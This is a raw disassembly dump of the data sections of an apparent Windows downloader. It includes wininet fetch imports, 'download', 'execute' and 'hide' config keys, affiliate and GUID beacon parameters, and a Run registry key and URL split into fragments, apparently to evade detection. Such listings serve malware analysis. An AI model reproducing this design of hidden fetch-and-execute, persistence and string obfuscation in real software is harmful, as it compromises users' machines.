		dd offset loc_4323CC
		dd 1, 4323D4h
dword_4355C0	dd 19930520h, 15h, 4355E0h, 5 dup(0)		dd 0FFFFFFFFh, 4323E8h,	0
		dd offset loc_4323F0
		dd 1, 4323F8h, 2, 432400h, 3, 432408h, 3, 432410h, 3, 432418h
		dd 6, 432420h, 3, 432428h, 3, 432430h, 3, 432438h, 0Ah
		dd 432440h, 0Bh, 432448h, 0Bh, 432450h,	0Dh, 432458h, 0Eh
		dd 432460h, 0Dh, 0
		dd 0Dh,	0
		dd 0Dh,	432468h, 0Dh, 0
		dd 0Dh,	0
dword_435688	dd 19930520h, 2, 4356A8h, 1, 4356B8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4356D0h, 4	dup(0)
		dd offset sub_426490
dword_4356E0	dd 19930520h, 1, 435700h, 5 dup(0)		dd 0FFFFFFFFh, 432490h
dword_435708	dd 19930520h, 4, 435728h, 5 dup(0)		dd 0FFFFFFFFh, 4324A3h,	0
		dd offset loc_4324AC
		dd 1, 4324B5h, 1, 4324BEh
dword_435748	dd 19930520h, 3, 435768h, 5 dup(0)		dd 0FFFFFFFFh, 4324D1h,	0
		dd offset loc_4324DA
		dd 1, 4324E6h
dword_435780	dd 19930520h, 7, 4357A0h, 5 dup(0)		dd 0FFFFFFFFh, 4324FCh,	0
		dd offset loc_432505
		dd 1, 43250Eh, 2, 432517h, 3, 432523h, 4, 43252Fh, 4, 432538h
dword_4357D8	dd 19930520h, 2, 4357F8h, 5 dup(0)		dd 0FFFFFFFFh, 43254Bh,	0
		dd offset loc_432554
dword_435808	dd 19930520h, 1, 435828h, 5 dup(0)		dd 0FFFFFFFFh, 43256Ah
dword_435830	dd 19930520h, 1, 435850h, 5 dup(0)		dd 0FFFFFFFFh, 43257Dh
dword_435858	dd 19930520h, 1, 435878h, 5 dup(0)		dd 0FFFFFFFFh, 432590h
dword_435880	dd 19930520h, 4, 4358A0h, 5 dup(0)		dd 0FFFFFFFFh, 4325A3h,	0
		dd offset loc_4325AC
		dd 1, 4325B5h, 1, 4325BEh
dword_4358C0	dd 19930520h, 1, 4358E0h, 5 dup(0)		dd 0FFFFFFFFh, 4325D1h
dword_4358E8	dd 19930520h, 4, 435908h, 5 dup(0)		dd 0FFFFFFFFh, 4325E4h,	0
		dd offset loc_4325ED
		dd 1, 4325F6h, 1, 4325FFh
dword_435928	dd 19930520h, 3, 435948h, 5 dup(0)		dd 0FFFFFFFFh, 432612h,	0
		dd offset loc_43261B
		dd 1, 432628h
dword_435960	dd 19930520h, 7, 435980h, 5 dup(0)		dd 0FFFFFFFFh, 43263Fh,	0
		dd offset loc_432649
		dd 1, 432653h, 2, 43265Ch, 3, 432669h, 4, 432676h, 4, 432680h
dword_4359B8	dd 19930520h, 2, 4359D8h, 5 dup(0)		dd 0FFFFFFFFh, 432694h,	0
		dd offset loc_43269D
dword_4359E8	dd 19930520h, 1, 435A08h, 5 dup(0)		dd 0FFFFFFFFh, 4326B4h
dword_435A10	dd 19930520h, 1, 435A30h, 5 dup(0)		dd 0FFFFFFFFh, 4326C8h
dword_435A38	dd 19930520h, 1, 435A58h, 5 dup(0)		dd 0FFFFFFFFh, 4326DCh
dword_435A60	dd 19930520h, 4, 435A80h, 5 dup(0)		dd 0FFFFFFFFh, 4326EFh,	0
		dd offset loc_4326F9
		dd 1, 432702h, 1, 43270Ch
dword_435AA0	dd 19930520h, 1, 435AC0h, 5 dup(0)		dd 0FFFFFFFFh, 432720h
dword_435AC8	dd 19930520h, 1, 435AE8h, 5 dup(0)		dd 0FFFFFFFFh, 432740h
dword_435AF0	dd 19930520h, 1, 435B10h, 5 dup(0)		dd 0FFFFFFFFh, 432760h
dword_435B18	dd 19930520h, 1, 435B38h, 5 dup(0)		dd 0FFFFFFFFh, 432780h
dword_435B40	dd 19930520h, 3, 435B60h, 5 dup(0)		dd 0FFFFFFFFh, 4327A0h,	0
		dd offset loc_4327AC
		dd 1, 4327B8h
dword_435B78	dd 19930520h, 3, 435B98h, 5 dup(0)		dd 0FFFFFFFFh, 4327E0h,	0
		dd offset loc_4327EC
		dd 1, 4327F8h
dword_435BB0	dd 19930520h, 1Ah, 435BD0h, 5 dup(0)		dd 0FFFFFFFFh, 432820h,	0
		dd offset loc_432829
		dd 1, 432832h, 2, 43283Bh, 3, 432844h, 4, 432850h, 5, 43285Ch
		dd 6, 432868h, 7, 432874h, 8, 432880h, 9, 43288Ch, 0Ah
		dd 432898h, 0Bh, 4328A4h, 0Ch, 4328B0h,	0Dh, 4328BCh, 0Eh
		dd 4328C8h, 0Fh, 4328D4h, 10h, 4328E0h,	11h, 4328ECh, 12h
		dd 4328F8h, 13h, 432904h, 3, 432910h, 3, 43291Ch, 16h
		dd 432928h, 17h, 432931h, 17h, 43293Dh
dword_435CA0	dd 19930520h, 8, 435CC0h, 5 dup(0)		dd 0FFFFFFFFh, 432953h,	0
		dd offset loc_43295F
		dd 0
		dd offset loc_43296B
		dd 0
		dd offset loc_432977
		dd 0
		dd offset loc_432983
		dd 0
		dd offset loc_43298F
		dd 0
		dd offset loc_43299B
		dd 0
		dd offset loc_4329A7
dword_435D00	dd 19930520h, 2, 435D20h, 1, 435D30h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 435D48h, 4	dup(0)
		dd offset loc_429649
dword_435D58	dd 19930520h, 1, 435D78h, 5 dup(0)		dd 0FFFFFFFFh, 4329D0h
dword_435D80	dd 19930520h, 1, 435DA0h, 5 dup(0)		dd 0FFFFFFFFh, 4329F0h
dword_435DA8	dd 19930520h, 1, 435DC8h, 5 dup(0)		dd 0FFFFFFFFh, 432A10h
dword_435DD0	dd 19930520h, 1, 435DF0h, 5 dup(0)		dd 0FFFFFFFFh, 432A30h,	0
		dd offset off_437C58
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	431CC8h, 0
dword_435E18	dd 1, 435DF8h	dword_435E20	dd 0				dd offset sub_429CF0
		dd 0
		dd offset dword_435E18
		align 200h
TEUm		ends

; Section 2. (virtual address 00016000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 00016000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
TEUm		segment	para public 'CODE' use32
		assume cs:TEUm
		;org 436000h
		assume es:nothing, ss:nothing, ds:TEUm,	fs:nothing, gs:nothing
dword_436000	dd 400h	dup(0)	dword_437000	dd 0				dd offset sub_4284F0
		dd offset sub_431B21
dword_43700C	dd 0		dword_437010	dd 0		dword_437014	dd 3 dup(0)			dd offset off_434AD4
		align 8
		dd 482Eh
dword_43702C	dd 6325h	off_437030	dd offset off_434AD4	; DATA XREF: TEUm:00434E1Co
		align 8
a_pavcexception	db '.PAVCException@@',0
		align 4
aR_0:					; DATA XREF: TEUm:00422558o
		unicode	0, <r>,0
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4227A4:loc_4227EDo
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4227A4:loc_422808o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4227A4+79o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4227A4+8Bo
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4227A4+9Do
		align 4
aD		db '%d',0               ; DATA XREF: sub_422A1E+102o
		align 4
aOpen		db 'OPEN',0             ; DATA XREF: sub_422C48+23Eo
		align 4
asc_4370B4:				; DATA XREF: sub_422C48+1B5o
		unicode	0, <)>,0
aCrcOkInstall	db 'crc ok, Install(',0 ; DATA XREF: sub_422C48+19Bo
		align 4
a_old		db '.old',0             ; DATA XREF: sub_422C48+159o
		align 4
aCrcFailed	db 'crc failed:',0      ; DATA XREF: sub_422C48+E9o
aInstallzip	db 'InstallZip()',0Ah,0 ; DATA XREF: sub_422C48+7Bo
		align 10h
a_bin		db '.bin',0             ; DATA XREF: sub_422C48+3Do
		align 4
aRetryD		db '&retry=%d',0        ; DATA XREF: sub_422F1F+4Co
		align 4
a0:					; DATA XREF: sub_425B2E+6Co
		unicode	0, <0>,0
a02x		db '%02X',0             ; DATA XREF: sub_422FB0+D1o
		align 10h
dword_437110	dd 0D321C942h, 2212B3F2h, 6608AB02h, 0					; sub_4230F8+8Eo
dword_437120	dd 6325h	dword_437124	dd 74696E49h, 646E7542h, 0A656Chdword_437130	dd 5Ch							; sub_42552A+38o ...
aWindows	db 'windows',0          ; DATA XREF: sub_423489+BEBo
aCrc		db 'crc',0              ; DATA XREF: sub_423489:loc_423FB7o
aIdentifier	db 'identifier',0       ; DATA XREF: sub_423489:loc_423F40o
		align 4
aVersion_0	db 'version',0          ; DATA XREF: sub_423489:loc_423ECFo
aNewupdater	db 'newupdater',0       ; DATA XREF: sub_423489:loc_423E5Fo
		align 10h
aWait		db 'wait',0             ; DATA XREF: sub_423489:loc_423DEFo
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_423489:loc_423D7Fo
aHide		db 'hide',0             ; DATA XREF: sub_423489:loc_423D0Fo
		align 4
aSavepath	db 'SavePath',0         ; DATA XREF: sub_423489:loc_423CA4o
		align 4
aSaveas		db 'SaveAs',0           ; DATA XREF: sub_423489:loc_423C2Do
		align 4
aParameters	db 'parameters',0       ; DATA XREF: sub_423489:loc_423BBCo
		align 4
aFilename	db 'filename',0         ; DATA XREF: sub_423489:loc_423B4Bo
		align 4
aRequiredfile	db 'requiredfile',0     ; DATA XREF: sub_423489:loc_423ADAo
		align 4
aKeyvalue	db 'keyvalue',0         ; DATA XREF: sub_423489:loc_423A69o
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_423489:loc_4239FEo
aRootkey	db 'rootkey',0          ; DATA XREF: sub_423489+508o
aDownload	db 'download',0         ; DATA XREF: sub_423489:loc_423865o
					; sub_424485+5Fo
		align 4
aWrNextupdate	db 'WR\nextupdate',0    ; DATA XREF: sub_423489+3A6o
		align 4
aNextupdate	db 'nextupdate',0       ; DATA XREF: sub_423489:loc_423754o
		align 4
aWrP		db 'WR\p',0             ; DATA XREF: sub_423489+282o
		align 4
aPaid		db 'paid',0             ; DATA XREF: sub_423489:loc_423633o
		align 4
aWrConfigversio	db 'WR\configversion',0 ; DATA XREF: sub_423489+161o
		align 4
aConfigversio_0	db 'configversion',0    ; DATA XREF: sub_423489+84o
		align 4
aS		db '%s',0               ; DATA XREF: sub_423489+6Eo
					; sub_423489+4EAo ...
		align 4
aParsexml	db 'ParseXML()',0Ah,0   ; DATA XREF: sub_423489+2Fo
dword_437238	dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh					; sub_4243E7+19o ...
dword_437248	dd 3Ah		dword_43724C	dd 765C5257h, 69737265h, 6E6Fh					; sub_424606+320o ...
dword_437258	dd 706D742Eh, 0	dword_437260	dd 6C6F2320h, 3A64haDefaultvalue	db 'defaultvalue',0     ; DATA XREF: sub_425353+88o
					; sub_426022+214o
		align 4
asc_437278:				; DATA XREF: sub_424B41+652o
		unicode	0, <}>,0
a001		db '001',0              ; DATA XREF: sub_424B41+5F5o
a000_1		db '000',0              ; DATA XREF: sub_424B41+5E3o
a0a887397a5f2_1	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476'
					; DATA XREF: sub_424B41+4AEo
		db 'DE96109318D40A797',0
		align 4
a000		db '0-00',0             ; DATA XREF: sub_424B41+410o
		align 10h
a000_0		db '-000',0             ; DATA XREF: sub_424B41+3EFo
		align 4
a0a887397a5f2_0	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA1CA61566'
					; DATA XREF: sub_424B41+32Do
		db '7C64A0F2DBA65B286D6',0
		align 10h
asc_437340:				; DATA XREF: sub_424B41+2D7o
					; sub_424B41+30Eo ...
		unicode	0, <->,0
a0a887397a5f240	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FB1D67C567'
					; DATA XREF: sub_424B41+228o
		db '0CA643630A642B681C07D505E9B54180FA15B',0
		align 4
a67f9198b	db '67F9198B',0         ; DATA XREF: sub_424B41+1BAo
		align 4
a39		db '39',0               ; DATA XREF: sub_424B41+10Eo
		align 4
a67f9158b	db '67F9158B',0         ; DATA XREF: sub_424B41+CBo
					; sub_424B41+284o
		align 4
asc_4373C8:				; DATA XREF: sub_425353+F8o
		unicode	0, < >,0
aNner1		db 'nner1',0            ; DATA XREF: sub_425353+6Eo
		align 4
aUnRu		db 'un\ru',0            ; DATA XREF: sub_425353+5Do
		align 4
aTversionR	db 'tVersion\R',0       ; DATA XREF: sub_425353+4Co
		align 4
aFtWindowsCurre	db 'ft\Windows\Curren',0 ; DATA XREF: sub_425353+3Bo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microso',0 ; DATA XREF: sub_425353+20o
		align 10h
aGversion	db 'gversion',0         ; DATA XREF: sub_42552A+5Ao
		align 4
aConfi		db 'confi',0            ; DATA XREF: sub_42552A+49o
		align 4
aWr		db 'WR',0               ; DATA XREF: sub_42552A+21o
					; sub_425642+1Bo ...
		align 4
aDate		db 'date',0             ; DATA XREF: sub_425642+64o
		align 10h
aTup		db 'tup',0              ; DATA XREF: sub_425642+54o
aNex		db 'nex',0              ; DATA XREF: sub_425642+44o
aP_0:					; DATA XREF: sub_42578F+49o
		unicode	0, <p>,0
aI:					; DATA XREF: sub_425896+5Ao
					; sub_4259AE+57o
		unicode	0, <i>,0
aR:					; DATA XREF: sub_425896+38o
					; sub_4259AE+35o ...
		unicode	0, <R>,0
aW:					; DATA XREF: sub_425896+21o
					; sub_4259AE+1Ao ...
		unicode	0, <W>,0
asc_437448:				; DATA XREF: sub_4259AE+E4o
		unicode	0, <,>,0
aCmd		db 'cmd',0              ; DATA XREF: sub_425B2E+57o
aMd		db 'md',0               ; DATA XREF: sub_425C67+6Bo
		align 4
aC:					; DATA XREF: sub_425C67+5Ao
		unicode	0, <c>,0
aAffid		db 'affID',0            ; DATA XREF: sub_425D94+1E7o
		align 10h
aVersion_1	db '\version',0         ; DATA XREF: sub_426022+264o
		align 4
a11866787a5f240	db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476'
					; DATA XREF: sub_426022+228o
		db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0
		align 10h
a_exe_tmp	db '.exe.tmp',0         ; DATA XREF: sub_426022+134o
		align 4
aInu		db 'inu',0              ; DATA XREF: sub_426022+129o
aOf		db 'of',0               ; DATA XREF: sub_426022+115o
		align 4
aMr		db 'mr',0               ; DATA XREF: sub_426022+104o
		align 4
aE:					; DATA XREF: sub_426022+DDo
		unicode	0, <e>,0
a_ex		db '.ex',0              ; DATA XREF: sub_426022+B5o
aFinu		db 'finu',0             ; DATA XREF: sub_426022+A1o
		align 4
aRo		db 'ro',0               ; DATA XREF: sub_426022+90o
		align 4
aM		db '\m',0               ; DATA XREF: sub_426022+64o
		align 10h
aSei		db 'sei ',0Ah,0         ; DATA XREF: sub_42640B+49o
		align 4
aShellexecuteex	db 'ShellExecuteEx',0   ; DATA XREF: sub_42640B+27o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_42640B+15o
asc_437534:				; DATA XREF: sub_426584+60o
		unicode	0, <\>,0
asc_437538:				; DATA XREF: sub_426584+ACo
		unicode	0, <\>,0
asc_43753C:				; DATA XREF: sub_426584+107o
		unicode	0, <\>,0
asc_437540:				; DATA XREF: sub_426584+117o
		unicode	0, <\>,0
asc_437544:				; DATA XREF: sub_42692B+8Ao
		unicode	0, <\>,0
asc_437548:				; DATA XREF: sub_42692B+D6o
		unicode	0, <\>,0
asc_43754C:				; DATA XREF: sub_42692B+131o
		unicode	0, <\>,0
asc_437550:				; DATA XREF: sub_42692B+141o
		unicode	0, <\>,0
asc_437554:				; DATA XREF: TEUm:00426FE4o
		unicode	0, <\>,0
asc_437558:				; DATA XREF: TEUm:00427030o
		unicode	0, <\>,0
asc_43755C:				; DATA XREF: TEUm:0042708Bo
		unicode	0, <\>,0
asc_437560:				; DATA XREF: TEUm:0042709Bo
		unicode	0, <\>,0
asc_437564:				; DATA XREF: TEUm:00427507o
		unicode	0, <\>,0
asc_437568:				; DATA XREF: TEUm:00427553o
		unicode	0, <\>,0
asc_43756C:				; DATA XREF: TEUm:004275AEo
		unicode	0, <\>,0
asc_437570:				; DATA XREF: TEUm:004275BEo
		unicode	0, <\>,0
aD_0		db '%d',0               ; DATA XREF: sub_42852F+83o
		align 4
asc_437578	db '&x=',0              ; DATA XREF: sub_42852F+99o
aI_0		db '&i=',0              ; DATA XREF: sub_42852F+D0o
aP_1		db '&p=',0              ; DATA XREF: sub_42852F+107o
aCmd_0		db '&cmd=',0            ; DATA XREF: sub_42852F+111o
		align 4
aGuid		db '&GUID=',0           ; DATA XREF: sub_42852F+168o
		align 4
aConfigversion	db '&configversion=',0  ; DATA XREF: sub_42852F+19Fo
aVersion	db '&version=',0        ; DATA XREF: sub_42852F+1AEo
		align 10h
aHtt		db 'htt',0              ; DATA XREF: sub_42852F+4CFo
aP		db 'p://',0             ; DATA XREF: sub_42852F+4E9o
		align 4
aWr_mc		db 'wr.mc',0            ; DATA XREF: sub_42852F+503o
		align 4
aBo		db 'bo',0               ; DATA XREF: sub_42852F+51Do
		align 4
aO:					; DATA XREF: sub_42852F+537o
		unicode	0, <o>,0
a_co		db '.co',0              ; DATA XREF: sub_42852F+551o
aMR		db 'm/r',0              ; DATA XREF: sub_42852F+56Bo
aEta		db 'eta',0              ; DATA XREF: sub_42852F+585o
aDpu_		db 'dpu.',0             ; DATA XREF: sub_42852F+59Fo
		align 10h
aPh		db 'ph',0               ; DATA XREF: sub_42852F+5B9o
		align 4
aP?		db 'p?',0               ; DATA XREF: sub_42852F+5D3o
		align 4
aOld		db 'old',0              ; DATA XREF: sub_429039+3C1o
		align 10h
dword_4375F0	dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh					; sub_429DA0+4Ao ...
dword_437600	dd 2 dup(0)			dd 0C0h, 46000000h
aNeedDictiona_0	db 'need dictionary',0  ; DATA XREF: TEUm:off_4332D0o
aStreamEnd	db 'stream end',0       ; DATA XREF: TEUm:004332D4o
		align 4
aFileError	db 'file error',0       ; DATA XREF: TEUm:004332DCo
		align 4
aStreamError	db 'stream error',0     ; DATA XREF: TEUm:004332E0o
		align 4
aDataError	db 'data error',0       ; DATA XREF: TEUm:004332E4o
		align 4
aInsufficientMe	db 'insufficient memory',0 ; DATA XREF: TEUm:004332E8o
aBufferError	db 'buffer error',0     ; DATA XREF: TEUm:004332ECo
		align 4
aIncompatibleVe	db 'incompatible version',0 ; DATA XREF: TEUm:004332F0o
		align 10h
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_42A2DE+342o
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_42A2DE+60Eo
		align 4
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_42B1FD+29Bo
		align 4
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_42B1FD+3D8o
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_42B1FD+7D2o
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_42B1FD+DE1o
		align 4
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+65o
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+7Fo
aOversubscrib_0	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_42CF36+84o
		align 4
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_42CF36+96o
		align 4
aOversubscrib_1	db 'oversubscribed distance tree',0 ; DATA XREF: sub_42CF36+119o
		align 4
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_42CF36+12Bo
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_42CF36+144o
		align 4
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_42D0E6+3A8o
		align 10h
aInvalidLiter_0	db 'invalid literal/length code',0 ; DATA XREF: sub_42D0E6+586o
a1_1_3		db '1.1.3',0            ; DATA XREF: TEUm:0042DC1Ao
		align 4
a1_1_3_0	db '1.1.3',0            ; DATA XREF: sub_42DD45+6o
		align 4
byte_43786C	db 31h			; DATA XREF: sub_42DD45+20r
		db 2Eh,	31h, 2Eh
		dd 33h
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_42DEC5+D1o
		align 10h
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_42DEC5+113o
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_42DEC5+1B1o
		align 4
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_42DEC5+3C3o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_42DEC5+64Co
		align 4
asc_4378E4:				; DATA XREF: sub_43012E+39o
		unicode	0, <\>,0
aUt		db 'UT',0               ; DATA XREF: sub_4301DC+4ACo
		align 4
a__		db '../',0              ; DATA XREF: sub_430A42+32Do
a___0		db '..\',0              ; DATA XREF: sub_430A42+349o
aUnknownZipResu	db 'unknown zip result code',0 ; DATA XREF: TEUm:loc_430FB9o
aSuccess	db 'Success',0          ; DATA XREF: TEUm:loc_43113Fo
aCuldnTDuplicat	db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: TEUm:loc_43114Bo
		align 10h
aCouldnTCreateO	db 'Couldn',27h,'t create/open file',0 ; DATA XREF: TEUm:loc_431157o
		align 4
aFailedToAlloca	db 'Failed to allocate memory',0 ; DATA XREF: TEUm:loc_431163o
		align 4
aErrorWritingTo	db 'Error writing to file',0 ; DATA XREF: TEUm:loc_43116Fo
		align 10h
aFileNotFoundIn	db 'File not found in the zipfile',0 ; DATA XREF: TEUm:loc_43117Bo
		align 10h
aStillMoreDataT	db 'Still more data to unzip',0 ; DATA XREF: TEUm:loc_431187o
		align 4
aZipfileIsCorru	db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: TEUm:loc_431190o
aErrorReadingFi	db 'Error reading file',0 ; DATA XREF: TEUm:loc_431199o
		align 4
aCallerFaultyAr	db 'Caller: faulty arguments',0 ; DATA XREF: TEUm:loc_4311A2o
		align 10h
aCallerTheFileH	db 'Caller: the file had already been partially unzipped',0
					; DATA XREF: TEUm:loc_4311ABo
		align 4
aCallerCanOnlyG	db 'Caller: can only get memory of a memory zipfile',0
					; DATA XREF: TEUm:loc_4311B4o
aCallerNotEnoug	db 'Caller: not enough space allocated for memory zipfile',0
					; DATA XREF: TEUm:loc_4311BDo
		align 10h
aCallerThereWas	db 'Caller: there was a previous error',0 ; DATA XREF: TEUm:loc_4311C6o
		align 4
aCallerAddition	db 'Caller: additions to the zip have already been ended',0
					; DATA XREF: TEUm:loc_4311CFo
		align 4
aCallerMixingCr	db 'Caller: mixing creation and opening of zip',0
					; DATA XREF: TEUm:loc_4311D8o
		align 4
aZipBugInternal	db 'Zip-bug: internal initialisation not completed',0
					; DATA XREF: TEUm:loc_4311E1o
		align 4
aZipBugTryingTo	db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: TEUm:loc_4311EAo
		align 10h
aZipBugTheAntic	db 'Zip-bug: the anticipated size turned out wrong',0
					; DATA XREF: TEUm:loc_4311F3o
		align 10h
aZipBugTriedToC	db 'Zip-bug: tried to change mind, but not allowed',0
					; DATA XREF: TEUm:loc_4311FCo
		align 10h
aZipBugAnIntern	db 'Zip-bug: an internal error during flation',0
					; DATA XREF: TEUm:loc_431205o
		align 10h
off_437C20	dd offset off_434AD4	; DATA XREF: TEUm:off_434AF0o
					; TEUm:00434B2Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
dword_437C40	dd 1				align 8
dword_437C48	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_437C58	dd offset off_434AD4	; DATA XREF: TEUm:off_434B38o
					; TEUm:00434B74o ...
		align 10h
a_?av_com_error	db '.?AV_com_error@@',0
		align 8
a8b		db '8B',0               ; DATA XREF: sub_421ACF+24o
					; sub_421ACF+64o ...
		align 4
		dd 7FFh	dup(0)
byte_439C78	db 0			; DATA XREF: TEUm:00421B9Ar
		align 4
byte_439C7C	db 0			; DATA XREF: TEUm:00421BB5r
		align 10h
byte_439C80	db 0			; DATA XREF: sub_421C92+25r
		align 4
byte_439C84	db 0			; DATA XREF: sub_421D8A+Ar
		align 4
byte_439C88	db 0			; DATA XREF: sub_421D8A+25r
		align 4
byte_439C8C	db 0			; DATA XREF: TEUm:00421E90r
		align 10h
byte_439C90	db 0			; DATA XREF: TEUm:00421EABr
		align 4
byte_439C94	db 0			; DATA XREF: TEUm:00421F65r
		align 4
byte_439C98	db 0			; DATA XREF: TEUm:loc_421FCBr
		align 4
byte_439C9C	db 0			; DATA XREF: TEUm:00422050r
		align 10h
byte_439CA0	db 0			; DATA XREF: TEUm:0042206Br
		align 4
byte_439CA4	db 0			; DATA XREF: TEUm:loc_422104r
		align 4
byte_439CA8	db 0			; DATA XREF: sub_422296+Ar
		align 4
dword_439CAC	dd 0		byte_439CB0	db 0			; DATA XREF: sub_422FB0+1Br
					; sub_422FB0:loc_4230A9o ...
		align 4
word_439CB4	dw 0			; DATA XREF: sub_424B41+2Er
		align 4
dword_439CB8	dd 0		dword_439CBC	dd 0		dword_439CC0	dd 0		dword_439CC4	dd 0		dword_439CC8	dd 0		dword_439CCC	dd 0		dword_439CD0	dd 0		dword_439CD4	dd 0		dword_439CD8	dd 0		dword_439CDC	dd 0		dword_439CE0	dd 0		dword_439CE4	dd 0		dword_439CE8	dd 0		dword_439CEC	dd 0		dword_439CF0	dd 0		dword_439CF4	dd 0		dword_439CF8	dd 0		dword_439CFC	dd 0		dword_439D00	dd 0							; sub_428520+3o ...
aJSJSJSJS	db 'ssss',0
		align 4
aJSJS		db 'ss',0
		align 4
		dd 325000h, 325050h, 73EA86D4h,	801h dup(0)
		dd offset off_4332CC
		align 10h
dword_43BD40	dd 0							; sub_429039+41o ...
dword_43BD44	dd 0							; sub_43126B+73w ...
dword_43BD48	dd 0		dword_43BD4C	dd 3 dup(0)	dword_43BD58	dd 0		dword_43BD5C	dd 0		dword_43BD60	dd 0		dword_43BD64	dd 0		dword_43BD68	dd 4 dup(0)	dword_43BD78	dd 0		dword_43BD7C	dd 0FFFFFFFFh						; TEUm:0043194Ew
dword_43BD80	dd 0FFFFFFFFh						; sub_4318D6+1Ao ...
		dd 49Fh	dup(0)
		dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h
		dd 69466461h, 100656Ch,	736F6C43h, 6E614865h, 656C64h
		dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h
		dd 72724574h, 100726Fh
aGetcurrentdire	db 'GetCurrentDirectoryA',0
		db 1, 43h, 72h
aEatedirectorya	db 'eateDirectoryA',0
		db 1
aRemovedirector	db 'RemoveDirectoryA',0
		db 1, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		db 1, 47h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		db 1, 55h, 6Eh
aMapviewoffile	db 'mapViewOfFile',0
		dw 4601h
aIndfirstfilea	db 'indFirstFileA',0
		dw 5301h
aEtcurrentdirec	db 'etCurrentDirectoryA',0
		db    1
aGlobalfree	db 'GlobalFree',0
		db    1
aWritefile	db 'WriteFile',0
		db 1
aFreelibrary	db 'FreeLibrary',0
		db    1
aGlobalrealloc	db 'GlobalReAlloc',0
		db 1
aGlobalalloc	db 'GlobalAlloc',0
		db    1
aGetprocaddress	db 'GetProcAddress',0
		db    1
aWidechartomult	db 'WideCharToMultiByte',0
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 4D01h
aApviewoffile	db 'apViewOfFile',0
		db 1, 43h, 72h
aEatefilemappin	db 'eateFileMappingA',0
		db 1, 6Ch, 73h
aTrcata		db 'trcatA',0
		db 1
aSetlasterror	db 'SetLastError',0
		db 1, 46h, 69h
aNdclose	db 'ndClose',0
		dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 53746547h
		dd 74726174h, 6E497075h, 416F66h, 74654701h, 75646F4Dh
		dd 6148656Ch, 656C646Eh, 53010041h, 69467465h, 6954656Ch
		dd 100656Dh
aDosdatetimetof	db 'DosDateTimeToFileTime',0
		dw 5301h
aYstemtimetofil	db 'ystemTimeToFileTime',0
		db    1
aGetcurrentproc	db 'GetCurrentProcess',0
		db 1
aDuplicatehandl	db 'DuplicateHandle',0
		db    1
aGetfiletype	db 'GetFileType',0
		db 1, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		db 1, 4Ch, 6Fh
aCalfree	db 'calFree',0
		db    1
aInterlockedinc	db 'InterlockedIncrement',0
		dw 4301h
aReatemutexa	db 'reateMutexA',0
		db    1
aLstrlena	db 'lstrlenA',0
		dw 4701h
aEtvolumeinform	db 'etVolumeInformationA',0
		db 1, 47h, 65h
aTsystemdefault	db 'tSystemDefaultLCID',0
		db 1
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		db 1
aInterlockeddec	db 'InterlockedDecrement',0
		db 1, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db    1
aLstrcpya	db 'lstrcpyA',0
		dw 5701h
aAitforsingleob	db 'aitForSingleObject',0
		db 1
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		db 1, 47h, 65h
